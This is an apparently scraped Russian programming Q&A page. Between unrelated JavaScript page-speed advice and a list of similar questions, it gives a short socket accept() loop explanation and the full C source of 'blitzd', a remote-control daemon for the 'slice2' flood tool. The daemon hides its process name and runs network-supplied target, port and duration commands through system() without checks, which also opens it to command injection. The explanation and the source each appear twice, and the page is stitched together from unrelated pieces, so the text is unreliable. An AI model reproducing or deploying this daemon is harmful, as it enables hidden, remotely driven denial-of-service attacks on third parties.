Другие языки программирования и технологии
Отложите синтаксический анализ JavaScript
При начальной загрузке страницы выполняется синтаксический анализ JavaScript в объеме 794,2Кб. Чтобы ускорить отображение страницы, отложите синтаксический анализ JavaScript.
Google в помощь!
На=Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.
// Потом в цикле происходит прием подключений
for (;;) {
b = sizeof(client_address); // b имеет тип int
client_sockfd = accept(s, (struct sockaddr *)&client_address, &b);
// Делаем что-нибудь
read(client_sockfd, ..);
write(client_sockfd, ..);
// И отрубаем
close(client_sockfd);
}
Все!
Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS IS:
<++> blitzd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include "lists.h"
int main(int argc, char *argv[])
{
int x;
char stealth[128];
char good, bad;
time_t timeval;
int server_sockfd, client_sockfd;
int server_len, client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int result;
fd_set readfds, testfds;
good = '.';
bad = '!';
if (argc < 2) {
fprintf(stderr, "blitzd by phreeon / hydra\n");
fprintf(stderr, "syntax: %s <port> <stealth>\n", argv[0]);
exit(1);
}
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(atoi(argv[1]));
strcpy(stealth, argv[2]);
for (x = argc-1; x >= 0; x--) {
memset(argv[x], 0, strlen(argv[x]));
}
strcpy(argv[0], stealth);
server_len = sizeof(server_address);
bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
listen(server_sockfd, 5);
FD_ZERO(&readfds);
FD_SET(server_sockfd, &readfds);
while(1) {
char cmd[128], realcmd[512];
int fd;
int nread;
testfds = readfds;
(void)time(&timeval);
// printf("[%s] server waiting\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)));
result = select(FD_SETSIZE, &testfds, (fd_set *)0,
(fd_set *)0, (struct timeval *) 0);
if(result < 1) {
perror("server5");
exit(1);
}
for(fd = 0; fd < FD_SETSIZE; fd++) {
if(FD_ISSET(fd,&testfds)) {
if(fd == server_sockfd) {
client_sockfd = accept(server_sockfd,
(struct sockaddr *)&client_address, &client_len);
FD_SET(client_sockfd, &readfds);
(void)time(&timeval);
// printf("[%s] adding client %s:%d on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), ntohs(client_address.sin_port), client_sockfd);
}
else {
ioctl(fd, FIONREAD, &nread);
if(nread == 0) {
close(fd);
FD_CLR(fd, &readfds);
(void)time(&timeval);
// printf("[%s] removing client %s on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd);
}
else {
read(fd, cmd, 128);
/* argument descriptions */
/* ---------------------*/
/* source target startport stopport dupes duration */
/* 0 127.0.0.1 3 2000 2 360 */
sleep(5);
(void)time(&timeval);
// printf("[%s] serving client %s on fd %d (%s)\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd, cmd);
if (llength(cmd) == 6) {
sprintf(realcmd, "./slice2 %s > /dev/null &\nsleep %s; kill `pidof slice2`;", lrange(cmd, 0, 4), lindex(cmd, -1));
write(fd, &good, 1);
system(realcmd);
} else {
write(fd, &bad, 1);
}
}
}
}
}
}
}
<-->
// Потом в цикле происходит прием подключений
for (;;) {
b = sizeof(client_address); // b имеет тип int
client_sockfd = accept(s, (struct sockaddr *)&client_address, &b);
// Делаем что-нибудь
read(client_sockfd, ..);
write(client_sockfd, ..);
// И отрубаем
close(client_sockfd);
}
Все!
Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS IS:
<++> blitzd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include "lists.h"
int main(int argc, char *argv[])
{
int x;
char stealth[128];
char good, bad;
time_t timeval;
int server_sockfd, client_sockfd;
int server_len, client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int result;
fd_set readfds, testfds;
good = '.';
bad = '!';
if (argc < 2) {
fprintf(stderr, "blitzd by phreeon / hydra\n");
fprintf(stderr, "syntax: %s <port> <stealth>\n", argv[0]);
exit(1);
}
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(atoi(argv[1]));
strcpy(stealth, argv[2]);
for (x = argc-1; x >= 0; x--) {
memset(argv[x], 0, strlen(argv[x]));
}
strcpy(argv[0], stealth);
server_len = sizeof(server_address);
bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
listen(server_sockfd, 5);
FD_ZERO(&readfds);
FD_SET(server_sockfd, &readfds);
while(1) {
char cmd[128], realcmd[512];
int fd;
int nread;
testfds = readfds;
(void)time(&timeval);
// printf("[%s] server waiting\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)));
result = select(FD_SETSIZE, &testfds, (fd_set *)0,
(fd_set *)0, (struct timeval *) 0);
if(result < 1) {
perror("server5");
exit(1);
}
for(fd = 0; fd < FD_SETSIZE; fd++) {
if(FD_ISSET(fd,&testfds)) {
if(fd == server_sockfd) {
client_sockfd = accept(server_sockfd,
(struct sockaddr *)&client_address, &client_len);
FD_SET(client_sockfd, &readfds);
(void)time(&timeval);
// printf("[%s] adding client %s:%d on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), ntohs(client_address.sin_port), client_sockfd);
}
else {
ioctl(fd, FIONREAD, &nread);
if(nread == 0) {
close(fd);
FD_CLR(fd, &readfds);
(void)time(&timeval);
// printf("[%s] removing client %s on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd);
}
else {
read(fd, cmd, 128);
/* argument descriptions */
/* ---------------------*/
/* source target startport stopport dupes duration */
/* 0 127.0.0.1 3 2000 2 360 */
sleep(5);
(void)time(&timeval);
// printf("[%s] serving client %s on fd %d (%s)\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd, cmd);
if (llength(cmd) == 6) {
sprintf(realcmd, "./slice2 %s > /dev/null &\nsleep %s; kill `pidof slice2`;", lrange(cmd, 0, 4), lindex(cmd, -1));
write(fd, &good, 1);
system(realcmd);
} else {
write(fd, &bad, 1);
}
}
}
}
}
}
}
<-->
Похожие вопросы
- C++, синтаксический анализатор,парсер.
- Обратная связь на HTML (JavaScript)?
- Почему когда я смотрю фото то мне пишет(Функциональность не поддерживается без JavaScript.Необходимо включить JavaScript
- За сколько Вы выучили html, css, javascript?
- Насколько сложены PHP, JavaScript, Java, C++?
- java или javascript??
- JavaScript vs Php vs Rails- требуется авторитетное и компетентное мнение !
- Что такое JavaScript и html?чем они отличаются?
- Для того чтоб легко учился язык JavaScript надо знать TurboPascal или на оборот? вобще с чего надо начать програмисту?
- Зачем var в JavaScript?